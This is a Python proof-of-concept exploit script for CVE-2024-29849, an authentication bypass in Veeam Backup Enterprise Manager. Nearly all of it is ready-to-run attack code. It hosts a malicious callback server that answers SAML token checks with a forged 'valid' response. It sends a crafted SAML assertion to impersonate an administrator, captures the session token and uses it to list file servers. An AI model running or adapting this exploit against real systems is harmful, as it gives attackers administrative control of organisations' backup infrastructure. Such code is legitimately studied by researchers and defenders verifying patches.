"""
Veeam Backup Enterprise Manager Authentication Bypass (CVE-2024-29849)
Exploit By: Sina Kheirkhah (@SinSinology) of Summoning Team (@SummoningTeam)
Technical details: https://summoning.team/blog/veeam-enterprise-manager-CVE-2024-29849-auth-bypass/
"""


banner = r"""
 _______ _     _ _______ _______  _____  __   _ _____ __   _  ______   _______ _______ _______ _______
 |______ |     | |  |  | |  |  | |     | | \  |   |   | \  | |  ____      |    |______ |_____| |  |  |
 ______| |_____| |  |  | |  |  | |_____| |  \_| __|__ |  \_| |_____| .    |    |______ |     | |  |  |
                                                                                    
        (*) Veeam Backup Enterprise Manager Authentication Bypass (CVE-2024-29849) 
        
        (*) Exploit by Sina Kheirkhah (@SinSinology) of SummoningTeam (@SummoningTeam)
        
        (*) Technical details: https://summoning.team/blog/veeam-cve-2024-29849-authentication-bypass/
        
        """

""""""

from http.server import HTTPServer, SimpleHTTPRequestHandler
import ssl
import warnings
import base64
warnings.filterwarnings("ignore", category=DeprecationWarning)
import requests
requests.packages.urllib3.disable_warnings()
import argparse
import ssl
from urllib.parse import urlparse
import requests
import ssl
import OpenSSL
from cryptography import x509
from cryptography.hazmat.backends import default_backend
from urllib.parse import urlparse
from threading import Thread
import os

print(banner)
parser = argparse.ArgumentParser(usage=r'python CVE-2024-29849.py --target https://192.168.253.180:9398 --callback-server 192.168.253.1:443')
parser.add_argument('--target', '-t', dest='target', help='Target IP and port (e.g: https://192.168.1.1:9398)', required=True)
parser.add_argument('--callback-server', '-s', dest='callback_server',  help='Callback server for authentication bypass', required=True)
parser.add_argument('--domain-name', '-d', dest='domain_name', help='target domain name',default=None, required=False)
parser.add_argument('--target-user', '-u', dest='target_user', help='username to impersonate',default='administrator', required=False)
args = parser.parse_args()
args.target = args.target.rstrip('/')

class CustomHandler(SimpleHTTPRequestHandler):
    def do_POST(self):
        xml_response = '''<?xml version="1.0" encoding="utf-16"?>
<soap:Envelope xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance">
  <soap:Body>
    <RequestSecurityTokenResponse xmlns="http://docs.oasis-open.org/ws-sx/ws-trust/200512">
      <TokenType>urn:oasis:names:tc:SAML:2.0:assertion</TokenType>
      <Status>
        <Code>http://docs.oasis-open.org/ws-sx/ws-trust/200512/status/valid</Code>
      </Status>
    </RequestSecurityTokenResponse>
  </soap:Body>
</soap:Envelope>
'''

        self.send_response(200)
        self.send_header("Content-type", "text/xml")
        self.end_headers()
        self.wfile.write(xml_response.encode("utf-8"))
        print("(+) SAML Auth request received, serving malicious RequestSecurityTokenResponseType")
        
        

def start_callback_server(ip, port):
    global server_ready
    # openssl req -new -x509 -keyout key.pem -out server.pem -days 365 -nodes
    httpd = HTTPServer((ip, port), CustomHandler)
    ssl_context = ssl.SSLContext(ssl.PROTOCOL_TLS_SERVER)
    ssl_context.load_cert_chain("server.pem", keyfile="key.pem")
    httpd.socket = ssl_context.wrap_socket(
        httpd.socket,
        server_side=True,
    )
    print(f"(*) Callback server listening on https://{ip}:{port}")
    
    server_ready = True
    httpd.serve_forever()
    
def get_cn_from_cert(target):
    parsed_url = urlparse(target)
    hostname = parsed_url.hostname
    domain_name = None
    if parsed_url.port == None:
        parsed_url.port = 443

    print(f"(*) Fetching certificate for {hostname}")
    try:
        cert = ssl.get_server_certificate((hostname, int(parsed_url.port)))
    except Exception as e:
        print(f"(!) Could not fetch certificate: {e}")
        return None

    x509_cert = OpenSSL.crypto.load_certificate(OpenSSL.crypto.FILETYPE_PEM, cert)
    crypto_cert = x509.load_pem_x509_certificate(cert.encode(), default_backend())

    cn = None
    for attribute in crypto_cert.subject:
        if attribute.oid == x509.NameOID.COMMON_NAME:
            cn = attribute.value
            break
    if cn != None:
        print(f"(*) Common Name (CN) extracted from certificate: {cn}")
        domain_name = f"{cn.split(".")[-2]}.{cn.split(".")[-1]}"
        print(f"(*) Assumed domain name: {domain_name}")
        answer = input("(?) Is the assumed domain name correct(Y/n)?")
        if answer.lower() == "y":
            return domain_name
        else:
            domain_name = input("(*) Enter the correct domain name: ")
            return domain_name

def sanity_check_target(target):
    try:
        r = s.get(f"{target.rstrip('/')}/api/", verify=False)
    except Exception as e:
        print(f"(!) Could not reach the target: {e}")
        exit(1)

    if "www.veeam.com/ent/v1.0" not in r.text:
        print("(!) The target does not seem to be a Veeam Backup Enterprise Manager")
        exit(1)

    print(f"(*) Target {target} is reachable and seems to be a Veeam Backup Enterprise Manager")
    

def sanity_files():
    if not os.path.exists("server.pem") or not os.path.exists("key.pem"):
        print("(!) server.pem or key.pem not found, please generate them using the following command:")
        print("openssl req -new -x509 -keyout key.pem -out server.pem -days 365 -nodes")
        exit(1)    

def sanity_check_callback_server(callback_server):
    while not server_ready:
        pass
    counter = 5
    while counter:
        try:
            r = s.get(f"https://{callback_server}/", verify=False)
            counter = 0
                
        except Exception as e:
            print(f"(*) Checking callback server")
            counter -= 1
    
    if r == None:
        print(f"(!) Could not reach the callback server {callback_server}")
        exit(1)
    print(f"(*) Callback server {callback_server} is reachable")



def exploit(target_user):
    print(f"(*) Triggering malicious SAML assertion to {args.target}")
    print(f"(*) Impersonating user: {target_user}")
    try:
        xml_b64_body = base64.b64encode(f'''<saml2:Assertion xmlns:saml2="urn:oasis:names:tc:SAML:2.0:assertion"><saml2:Issuer>https://{args.callback_server}/STSService</saml2:Issuer><saml2:Subject><saml2:NameID>{target_user}</saml2:NameID><saml2:SubjectConfirmation><saml2:SubjectConfirmationData NotOnOrAfter="2024-12-12T00:00:00Z" /></saml2:SubjectConfirmation></saml2:Subject><saml2:AuthnStatement AuthnInstant="2024-06-01T00:00:00Z"><saml2:AuthnContext><saml2:AuthnContextClassRef>urn:oasis:names:tc:SAML:2.0:ac:classes:PasswordProtectedTransport</saml2:AuthnContextClassRef></saml2:AuthnContext></saml2:AuthnStatement><saml2:AttributeStatement><saml2:Attribute Name="http://schemas.xmlsoap.org/ws/2005/05/identity/claims/emailaddress"><saml2:AttributeValue></saml2:AttributeValue></saml2:Attribute><saml2:Attribute Name="http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name"><saml2:AttributeValue></saml2:AttributeValue></saml2:Attribute></saml2:AttributeStatement></saml2:Assertion>'''.encode('utf-8')).decode('utf-8')
        r = s.post(f"{args.target.rstrip('/')}/api/sessionMngr/?v=latest", headers={"Content-type":"application/json"},  json={"VMwareSSOToken": xml_b64_body})
    except Exception as e:
        print(f"(!) Could not send the malicious SAML assertion to {args.target}")
        print(e)
        exit(1)
    if(r.status_code != 201):
        print(f"(!) Exploit failed, result was: {r.text}")
        print(r)
        exit(1)
    if(r.headers['X-Restsvcsessionid'] != None):
        print(f"\n(+) Exploit was Successful, authenticated as {target_user}")
        print(f"(*) Got token: {r.headers['X-Restsvcsessionid']}")

    return r.headers['X-Restsvcsessionid']

def post_exploit(token):
    print("(*) Starting post-exploitation phase")
    print("(*) Retrieving the list of file servers")
    r = s.get(f"{args.target.rstrip('/')}/api/nas/fileServers?format=Entity", verify=False, headers={"Accept":"application/json","Content-Type":"application/json","X-Restsvcsessionid":token})
    try:
        print(r.json())
    except:
        print(r.text)


s = requests.Session()
s.verify = False
server_ready = False
sanity_files()
sanity_check_target(args.target)
if(args.domain_name == None):
    args.domain_name = get_cn_from_cert(args.target)
print(f"(*) Target domain name is: {args.domain_name}")
args.target_user = f"{args.target_user}@{args.domain_name}"
print("(*) Starting callback server")
print("\n(^_^) Prepare for the Pwnage (^_^)\n")
callback_server_thread = Thread(target=start_callback_server, args=(args.callback_server.split(":")[0], int(args.callback_server.split(":")[1]),))
callback_server_thread.setDaemon(True)
callback_server_thread.start()
sanity_check_callback_server(args.callback_server)
pwned_token = exploit(args.target_user)
post_exploit(pwned_token)